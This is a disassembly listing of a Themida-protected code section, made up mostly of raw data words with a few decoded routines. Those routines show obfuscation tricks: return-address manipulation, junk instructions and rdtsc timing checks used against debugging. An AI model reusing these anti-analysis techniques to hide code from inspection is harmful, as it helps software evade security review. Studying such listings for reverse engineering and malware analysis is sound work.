		dd 41000000h, 0E5D1C351h, 52426BA1h, 0BFC4D71Dh, 0CFD8414h
		dd 6830Fh, 0BD290000h, 7E41E6Dh, 2DA18D8Bh, 6A07E4h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 6E950C3h, 0E5000000h, 52426BA1h, 0C28B501Dh,	0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 638AC350h
		dd 0AB359F5Eh, 89682DBFh, 0E42AE1B5h, 0BD83F907h, 7E40611h
		dd 47840F00h, 80000000h, 0B814C7h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
		dd 0C3B6C352h, 8D09C14Fh, 7E4009Dh, 0DF8166h, 0E78D8D52h
		dd 8B07E44Fh, 0FE1FFDAh, 581h, 0C664BB00h, 0BD836546h
		dd 7E422B9h, 9D840F00h,	0F5000004h, 22B9BD83h, 0F0107E4h
		dd 4AA84h, 71958900h, 0BF07E422h, 1056C278h, 22B9BD83h
		dd 0F0307E4h, 45C86h, 0E9BD2B00h, 6007E401h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 7CC35646h, 0FAADDF57h
		dd 0B1B589EDh, 8107E403h, 7258B8DFh, 0D98C6604h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0D7C35646h, 666610CEh
		dd 860FF88Bh, 6, 14FD9D8Bh, 0E18007E4h,	56006A04h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
		dd 0E6EA6BCh, 4FEF8163h, 0A254F46h, 69840FC9h, 6A000001h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 7D09C352h, 0BF7C13A1h, 725B5D67h,	651858Bh
		dd 6A07E4h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 435427C3h, 4FE380F4h, 6810Fh, 0BD8B0000h
		dd 7E42D19h, 20298533h,	8D0F07E4h, 6, 365BD23h,	0E89007E4h
		dd 0Ch,	0E2399209h, 0F53BC80Ah,	0E9548529h, 5810Fh, 2BB0000h
		dd 5B5268AAh, 0B7525050h, 66310F74h, 585AD98Bh,	6AF98B90h
		dd 79858900h, 0E807E402h, 4, 1F03FFh, 50525060h, 5A310F52h
		dd 0BE310F58h, 24C9953Ch, 8A0F585Ah, 17h, 11E8h, 4180AC00h
		dd 3DDF4A3h, 34C62E36h,	456483ECh, 615E22D8h, 8B49B750h
		dd 66042444h, 8BD88Bh, 840F5250h, 2, 310F73B3h,	585A1AB7h
		dd 4244489h, 9C26F6BFh,	6A5829h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 4A1CDDC3h, 5718D99Ah
		dd 95FF5BF9h, 7E42D99h,	0B66ECF81h, 9D8B574Ch, 7E42DADh
		dd 0F8A58589h, 816607E7h, 0E97427E7h, 1EBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5DC35545h, 63FE6D2Ah
		dd 0DC440032h, 0F89D858Bh, 6A07E7h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 751E1EC3h
		dd 1800C74Dh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 6619C357h, 1B53E781h
		dd 0F8A1B58Bh, 0BD3307E7h, 7E40145h, 99858Bh, 6A07E4h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 689B8C3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0E4C35545h, 816645F0h, 8BF586F3h, 0E4065185h, 89DF8B07h
		dd 6A0446h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 47BF0DC3h, 5040B2C1h, 14E860h, 0BBCF0000h
		dd 582182C3h, 55413ACFh, 973CE4AAh, 0DBB3EC84h,	4BBE2373h
		dd 5E401300h, 0F56B966h, 24348961h, 15298589h, 8E907E4h
		dd 0DD000000h, 56AED9F8h, 0FF00BD9Fh, 0E7F89DB5h, 0CB816607h
		dd 0FE68CCD3h, 8142413Bh, 38012434h, 6A425Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0BBCF7CC3h
		dd 63A3FC94h, 1C1D9D8Bh, 858D07E4h, 7E7F8A5h, 41BD8Bh
		dd 669007E4h, 50FA78BBh, 52A12BFh, 6A9050h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 78920EC3h
		dd 0ECBE05B2h, 0CE84Dh,	44C70000h, 0F76E4185h, 4DB61353h
		dd 0B5890186h, 7E415E5h, 9995FF5Fh, 6A07E42Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 8B61C355h, 0E426819Dh, 0B4EF8107h, 6138A39Eh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 80C35040h, 518F4481h
		dd 6CC51EAEh, 10E9h, 0BED05C00h, 0EB44EDF1h, 34E871B5h
		dd 0ED6DB31Eh, 0B985C7A8h, 307E422h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 8693C355h, 0B586B97Fh, 68A0Fh, 85890000h, 7E42019h
		dd 0F8A5BD83h, 0F0007E7h, 1884h, 8E900h, 5E8A0000h, 0EE4AC20h
		dd 21E98F79h, 3000000h,	0E40E459Dh, 0C305007h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0AADB589h, 6A07E4h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 253057C3h, 0D8B70F40h, 22B9BD83h, 0F0307E4h,	3EB85h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 1B59A143h, 0FB8B14FBh, 0F8A5BD83h, 0F0007E7h
		dd 3BB84h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 63A9E86Ch, 0F4191B87h, 9D032C83h
		dd 7E4237Dh, 0F8A5B5FFh, 6A07E7h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0BD8BAEC3h, 7E42139h
		dd 44D95FFh, 5ABB07E4h,	661055E0h, 8B6503BFh, 0E7F899B5h
		dd 39BD8B07h, 0C707E426h, 1000106h, 6830F00h, 89000000h
		dd 0E41C598Dh, 890F9607h, 5, 4B2DBBBBh,	6A96500Fh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 353EC351h, 0BF4BD804h, 14E9h, 0CA72A00h, 482A763Fh
		dd 56E02E88h, 0F41DB1A9h, 5B7B5E67h, 0A5B5FF4Ah, 6007E7F8h
		dd 18299D89h, 0AE907E4h, 0E2000000h, 0AA50911Eh, 0B05E9A11h
		dd 95FF61D4h, 7E42A09h,	0F899B58Bh, 8B0F07E7h, 4, 5BD98B52h
		dd 3165858Bh, 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 17D9C3C3h, 579785EAh, 0BD23B050h
		dd 7E42341h, 0C48689h, 0B5890000h, 7E41E59h, 0EE8h, 565B9700h
		dd 9C471DC2h, 815893C7h, 0F5263EECh, 71958B5Bh,	6A07E41Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 1033C350h, 0DBD7CA15h, 8B04C283h,	0E42EC59Dh
		dd 20508907h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	18C35141h, 3065116Fh, 0D3810883h, 5B5FCFCBh, 0CD4858Dh
		dd 868907E8h, 0B8h
		dd 6A26B3h, 0E856006Ah,	3, 5EC35E20h, 4247489h,	4244481h
		dd 1Ch,	0E0C35646h, 0CA9805FCh,	9E2703DCh, 6800Fh, 85010000h
		dd 7E402B9h, 7DF8166h, 0A5B5FF07h, 0F07E7F8h, 95FFDEBFh
		dd 7E431ADh, 5AD2BF66h,	5E996h,	0A06E0000h, 505C206Eh
		dd 0FE8h, 47AB3D00h, 9356CA8Ah,	235FCBF9h, 83D1E884h, 8E8h
		dd 86383700h, 2C348606h, 5BD9B349h, 6A965Fh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 764B01C3h
		dd 8B0BB76Eh, 0E400559Dh, 0A5B5FF07h, 0BF07E7F8h, 4D9F0872h
		dd 1B1195FFh, 9D3107E4h, 7E403B5h, 0DF9BD83h, 0F0007E4h
		dd 2E84h, 80DA8B00h, 6096B2CBh,	6FA3BB66h, 5061D88Bh, 0BE9h
		dd 28764D00h, 2D37FED9h, 72370DB0h, 8D896096h, 7E42C4Dh
		dd 1D958533h, 0FF6107E4h, 0E7F8A5B5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h
		dd 4C0E010Ch, 0BD232F7Fh, 7E43021h, 27D95FFh, 6A07E4h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
		dd 8BB5A5C3h, 0FFF94B02h, 0E7F8A5B5h, 1BD2B07h,	0FF07E406h
		dd 0E4097195h, 0B1BD8907h, 8307E401h, 0E40A21BDh, 840F0207h
		dd 65h,	1BA9B589h, 858B07E4h, 7E41EB5h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 5DC35242h, 12096745h
		dd 698D29CAh, 2307E430h, 0E42B71BDh, 0C607h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 8CC35545h, 99D897Dh
		dd 907E40Fh, 0E4233985h, 7185C707h, 7E426h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 7EA4C352h, 0AE007C86h, 0BD8BAC5Fh, 7E43191h
		dd 0FFF2FFE9h, 0F1BD8BFFh, 8B07E415h, 51006AC1h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 0D0FA7EB0h, 0A71E008Ch, 0FE9E0h, 29460000h, 25CFC9B0h
		dd 0AD2E7F45h, 0C42C4153h
		db 7Ah
byte_5CCDE5	db 8Dh,	2 dup(85h)	; DATA XREF: Themida_:00583CE8o
		dd 8107E40Dh, 166418EFh, 8A0F9037h, 3, 50D88B66h, 8B90FA8Bh
		dd 0F9B589DAh, 6A07E42Ah, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BD03CCAAh
		dd 7E429F5h, 5059529h, 6A07E4h,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 94C35646h, 9D8B2999h, 7E41D91h
		dd 0ABA7858Dh, 6A07E8h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 514B3AC3h, 6E9D2h, 0C9010000h, 0E6FAF6Eh
		dd 6A05C083h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 0EE97C355h, 0F8BF0F23h, 860F5290h
		dd 2, 505B73B3h, 55006A90h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1B04h, 0C3554500h, 27F6C4A8h, 0B3E8465Bh
		dd 6860Fh, 0B5890000h, 7E41B15h, 9D8B006Ah, 7E42B5Dh, 6A006Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 864532C3h, 9529F88Bh, 7E41915h, 247195FFh, 6A07E4h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 48A1B0C3h, 4F38E649h, 8B96026Ch, 0E41FB9BDh,	4B8D8D07h
		dd 6A07E7D6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0EFE3C353h, 0BF274AA3h, 0D1FF0CC9h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 4AC35646h
		dd 0E4EFAF4h, 26EB9FBBh, 659D8B60h, 8307E405h, 0E42015BDh
		dd 850F0107h, 86h, 8D9D2960h, 0F07E414h, 686h, 559D8B00h
		dd 6107E416h, 0C381026Ah, 5BD656A9h, 1E1D9D8Bh,	509007E4h
		dd 0F4FB752h, 13E831h, 961B0000h, 2536D869h, 21A966F6h
		dd 0A525EFB5h, 0E07B8D15h, 78BF66DDh, 585A5F88h, 0E769BB50h
		dd 6A906823h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 2DD0C356h, 0DD8F00A3h,	52FB89BCh
		dd 1FF9BD89h, 95FF07E4h, 7E431ADh, 1925BD8Bh, 53E907E4h
		dd 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7E8ABB1h
		ja	loc_5CD04E
		adc	di, 7F2h


loc_5CD04E:				; CODE XREF: Themida_:005CD043j
		mov	edi, 43F52D79h
		lea	eax, [ebp+7E7C6E1h]
		push	0
		push	ebp
		call	sub_5CD064
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD064	proc near		; CODE XREF: Themida_:005CD05Cp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5CD064	endp

; ---------------------------------------------------------------------------
		dd 569015D6h, 13E8h, 42A76000h,	6787AF36h, 0DF1DCA3Bh
		dd 3507BB53h, 475AC8A3h, 66505F5Fh, 90F94DBBh, 21959589h
		dd 0FF6407E4h, 35h, 25896400h, 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5CD0B7
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD0B7	proc near		; CODE XREF: Themida_:005CD0AFp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5CD0B7	endp

; ---------------------------------------------------------------------------
		db 0DBh
		dd 0E35DBF05h, 85FF7DC0h, 7E420B9h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 0CFC35343h,	810F0162h, 6, 24D8D89h
		dd 0FF6A07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	55C35747h, 550CC57Eh, 0DE8B66D7h, 0B5FFA6B7h, 7E40919h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0E7C35040h
		dd 0A099BD6Eh, 7A4D62E3h, 4D95FFDEh, 0E907E430h, 0FEh
		dd 258D8960h, 8907E400h, 0E420418Dh, 0FE8B6107h, 816600B0h
		dd 0E69797E3h, 0E45B5070h, 0E820F71h, 60000000h, 14A98533h
		dd 853107E4h, 7E40A7Dh,	0F613C61h, 0C583h, 0AD9D8B00h
		dd 0F07E421h, 0D98BC8B6h, 6BAh,	0E19D0300h, 8B07E406h
		dd 0BA6660C1h, 81663ED2h, 610420F0h, 0F04E8C1h,	0F766D8BFh
		dd 0D9BF0FE2h, 0D18BC82Bh, 67C38166h, 5E911h, 81660000h
		dd 8BD42EC3h, 0E4217985h, 3D9D8B07h, 8307E41Eh,	0E85307C0h
		dd 0Fh,	0A04C69C2h, 30C3F1DCh, 0A4F8D291h, 81089A73h, 0C168ECF7h
		dd 835B5F1Dh, 0BF6600C0h, 0D03B74A2h, 11830Fh, 9D8B0000h
		dd 7E4148Dh, 3DE9h, 21958900h, 8B07E424h, 0E409658Dh, 49B58907h
		dd 8B07E427h, 0E403899Dh, 1E18307h, 1C840Fh, 81660000h
		dd 831808E3h, 0E40965A5h, 9589FE07h, 7E42179h, 0E7CB8166h
		dd 0E92Fh, 0B58D0000h, 7E8310Ch, 8E8h, 612CD00h, 0B4619F6Ah
		dd 998589B0h, 5B07E418h, 8589006Ah, 7E43305h, 0E4195FFh
		dd 0CFB907E4h, 6A000008h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 5F38C357h, 0F1BD8936h
		dd 8307E42Eh, 9589FCE1h, 7E404F1h, 0EB8166FCh, 0C02B3DC1h
		dd 29F78166h, 0FD22BE5h, 287h, 0ADFA8B00h, 0E8D1C233h
		dd 0E983D003h, 0FF47504h, 9D89DBBFh, 7E432F5h, 880Dh, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 8766D12h, 8B96A46Dh,	0E41B7195h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 0CDB52942h
		dd 8B07E425h, 0E42DA18Dh, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 1673609Ah
		dd 7B14B8E3h, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 0C3805818h, 0B7FA8A26h, 11BD83F3h, 7E406h, 70840Fh
		dd 13E80000h, 5F000000h, 2BAB618Ch, 0A40052D7h,	47D786BBh
		dd 6FD9A36h, 11E8D103h,	0DD000000h, 44656D9Bh, 5403DB23h
		dd 42A3677Fh, 0BA2A78DAh, 5B5F6160h, 0B8h, 6E800h, 8BA20000h
		dd 5F45C5C1h, 1FD9D0Bh,	8D5B07E4h, 0E44FE78Dh, 138F0F07h
		dd 0E8000000h, 9, 67D05BC9h, 4015666Ah,	0B8BF66E9h, 0E1FF5B0Eh
		dd 4DC8DB81h, 0BD833036h, 7E422B9h, 29840F00h, 8B000005h
		dd 0B9BD83FBh, 107E422h, 535840Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 86BCA4C3h
		dd 0EBE2A092h, 0F0B7D1Bh, 886h,	9D895000h, 7E41CF5h, 0CDBD8B5Fh
		dd 8307E419h, 0E422B9BDh, 860F0307h, 4B9h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0DAC35040h, 0E35BB2FEh
		dd 0EC588CBFh, 95BD8B1Ah, 6007E41Fh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 0B9C35646h,	1A7B6F82h, 66003DD1h
		dd 0B7DF781h, 0E8D98C66h, 0Ah, 5F8F12ECh, 59E83CC7h, 8B56C2CCh
		dd 0E40EB99Dh, 0E95F5F07h, 12h,	0A0AD3D0Ch, 1C437CB7h
		dd 5DCC62B0h, 991CBA5Ah, 0E1800521h, 12E904h, 0D4B90000h
		dd 93D0E77Fh, 0C8A130B3h, 19973798h, 11D2CE8h, 840FC90Ah
		dd 11Fh, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0CBC35141h, 0FBACA562h,	5DCDD457h, 13ED8589h, 858B07E4h
		dd 7E40651h, 1B519D89h,	853307E4h, 7E42029h, 890F50FCh
		dd 4, 5F5F5256h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0C79FC352h,	6AB922FCh
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0B589BF0Bh, 7E40895h, 0B938EC68h, 81D88B03h
		dd 3B132434h, 0BD8903A6h, 7E4272Dh, 2D9995FFh, 816607E4h
		dd 89ED8DEFh, 0E7F8A585h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0C1F36F2h
		dd 0BE2A9497h, 0DE8A8EABh, 2A8E9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0E0107860h
		dd 0D20DAD18h, 27699D03h, 10E907E4h, 0B4000000h, 0DBC189B2h
		dd 0E2D93419h, 9414536Ah, 8B70B971h, 0E7F89D85h, 81BD8907h
		dd 0C707E421h, 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 4EA3132Eh, 8D3152D5h
		dd 7E40A85h, 0F8A1B58Bh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 6E2F1EC3h, 6153435h
		dd 0EFDBD0Bh, 94BB07E4h, 8B168884h, 0E4009985h,	57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 89A67370h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 0F3CBC1Ah, 0FE8B66A8h, 651858Bh
		dd 8D0F07E4h, 6, 6618D89h, 468907E4h, 51006A04h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 45466EAEh, 8B96D652h, 666050F9h, 0BBB5FFBFh,	6199A86h
		dd 6A9661h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 606113C3h, 28E0Fh, 0FE8B0000h, 0F89DB5FFh
		dd 6EBB07E7h, 0E8524930h, 4, 1F03FFh, 52505250h, 13E8h
		dd 7D2C4800h, 0F68E8DA6h, 0A6C3FFB9h, 0F920F1FBh, 73CB3D0Ah
		dd 60310F5Bh, 0F585A61h, 14E931h, 0E8520000h, 4FF08E1Fh
		dd 6BA8B6B4h, 0E887DA5Bh, 0DCBA1AFAh, 585A37D3h, 8A0F6050h
		dd 0
; ---------------------------------------------------------------------------
		jmp	loc_5CD7A1
; ---------------------------------------------------------------------------
		db 0D0h, 0DFh, 6Ch
		dd 1B0731B2h
; ---------------------------------------------------------------------------
		cdq


loc_5CD7A1:				; CODE XREF: Themida_:005CD794j
		popa
		mov	eax, [esp+4]
		mov	ebx, 463B3C74h
		mov	eax, [eax]
		pusha
		pusha
		jnz	$+6
		push	eax
		push	edx
		rdtsc
		pop	edx
		pop	eax
		popa
		call	near ptr loc_5CD7C6+2
		mov	esp, 639D6F14h


loc_5CD7C6:				; CODE XREF: Themida_:005CD7BCp
		fild	dword ptr [ebx-18h]
		add	eax, 3B000000h
		fnsave	byte ptr [eax+5F5E565Dh]
		popa
		mov	[esp+4], eax
		push	edi
		pop	edi
		pop	eax
		jns	loc_5CD7E8
		add	edi, 5CE83AADh


loc_5CD7E8:				; CODE XREF: Themida_:005CD7DCj
		lea	eax, [ebp+7E7F8A5h]
		push	0
		push	ecx
		call	sub_5CD7F9
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5CD7F9	proc near		; CODE XREF: Themida_:005CD7F1p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_5CD7F9	endp

; ---------------------------------------------------------------------------
		db 7, 80h, 52h
		dd 26299531h, 0B70F07E4h, 565390DBh, 5FFE8B66h,	5250505Fh
		dd 0EC8BC5BFh, 51310F41h, 0BE9h, 0E4703F00h, 0A2D8C542h
		dd 0CA611DCCh, 90585A5Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 16C35343h, 9995FF75h,	6A07E42Dh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 98E2C355h, 0BF0FF571h, 6E961FEh, 0E8000000h,	0C32629B4h
		dd 0B985C7FFh, 307E422h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0F2C7C351h
		dd 6A737492h, 28C6CA1Ah, 6E19D89h, 0F6007E4h, 285h, 615F5300h
		dd 0F8A5BD83h, 0F0007E7h, 3084h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0D7ED8257h
		dd 0F6FEF381h, 21E928C2h, 8B000000h, 0E40D31BDh, 0C305007h
		dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
		dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
		dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
		dd 1116428h, 83110430h,	0E77504E9h, 0C08B00EBh,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 22C35242h, 0E381665Ch
		dd 858940A6h, 7E40975h,	22B9BD83h, 0F0307E4h, 3C985h, 0D9BD8B00h
		dd 8307E41Bh, 0E7F8A5BDh, 840F0007h, 3B6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 17h, 11C35040h, 0FF3B5901h
		dd 0E7F8A5B5h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0A62CE19h, 7775E848h
		dd 9D8B9353h, 7E4321Dh,	0F1C38166h, 4D95FF29h, 8B07E404h
		dd 0E7F899B5h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8A647844h, 46CB81FCh
		dd 0C72FC254h, 1000106h, 0B1BD8B00h, 8907E41Fh,	0E41D2585h
		dd 34895007h, 0A6E38124h, 0FF0191DDh, 0E7F8A5B5h, 9D9D8907h
		dd 0FF07E421h, 0E42A0995h, 0C3816607h, 0B58BD377h, 7E7F899h
		dd 8BD9BF0Fh, 0E4316585h, 52006A07h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0E780B6E6h
		dd 0DA8B662Bh, 0C48689h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 1071CDC3h, 6DCC12E3h
		dd 958BB880h, 7E41B71h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 0EBC35646h, 1E36B3F9h, 2A359C9Dh, 0F0BE6050h
		dd 66707655h, 6318C781h, 0C2835F61h, 0FAB70F04h, 0F205089h
		dd 382h, 0FBBF0F00h, 0CD4858Dh,	5E807E8h, 0D000000h, 0F3771587h
		dd 0F39BD8Bh, 895F07E4h, 0B886h, 0A5BD2300h, 6A07E42Fh
		dd 1DBD8B00h, 0F07E433h, 0B5FFD8B7h, 7E7F8A5h, 13D18509h
		dd 0BB6607E4h, 95FF6DA9h, 7E431ADh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 1C35343h, 43D38833h, 0AC528BE5h
		dd 0E19D8B7Eh, 9607E42Eh, 6830F50h, 0F000000h, 8Eh, 6A9600h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 892450C3h, 0E42C3985h, 0A5B5FF07h, 5307E7F8h, 12CD8589h
		dd 315F07E4h, 0E424A58Dh, 1195FF07h, 0BF07E41Bh, 42FBC69Ch
		dd 835BEB80h, 0E40DF9BDh, 840F0007h, 63h, 0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 17h, 0C35343h, 3594E5Fh
		dd 0E42799BDh, 66605007h, 0B7BBEFBBh, 34896157h, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 892708E0h, 0E41A79BDh, 59EF8007h, 6E9h, 0EB87F300h
		dd 0FF8CC48Eh, 0E7F8A5B5h, 0F98D2907h, 0FF07E415h, 0E4027D95h
		dd 0CE907h, 0AB860000h,	88696636h, 0A436C9B9h, 0B5FF5DE1h
		dd 7E7F8A5h, 0DDDBD8Bh,	95FF07E4h, 7E40971h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0E6C35343h, 8B5C9112h
		dd 0E40E4D9Dh, 21BD8307h, 207E40Ah, 93840Fh, 0DA8B0000h
		dd 14E9h, 0DA1E3D00h, 0A27FA9ECh, 3862A4F9h, 3EAA478Bh
		dd 4AAB5AD4h, 0B5858BDFh, 6A07E41Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4A92C350h
		dd 0C350A0B0h, 0E8D74DC1h, 0Bh,	372F1D9Ah, 0B92A2124h
		dd 662D05BBh, 0FD14DF81h, 88D0F5Fh, 0F000000h, 284h, 0C69EB300h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0EA5501C3h, 890EE8DBh, 0E427698Dh, 7185C707h
		dd 7E426h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 0AB81C356h, 9FE99B0Bh,	6AFFFFF3h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 0DD9EC356h, 89F94A75h, 0E42EB1B5h, 0FC18B07h
		dd 858DFAB7h, 7E40D85h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 26C35343h, 0C455E309h, 90C59C4Dh, 5750DE8Ah
		dd 905FF98Bh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 16h,	0EBC35343h, 9D8BFE31h, 7E425EDh, 8589006Ah, 7E415F1h
		dd 1481BD8Bh, 6A07E4h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
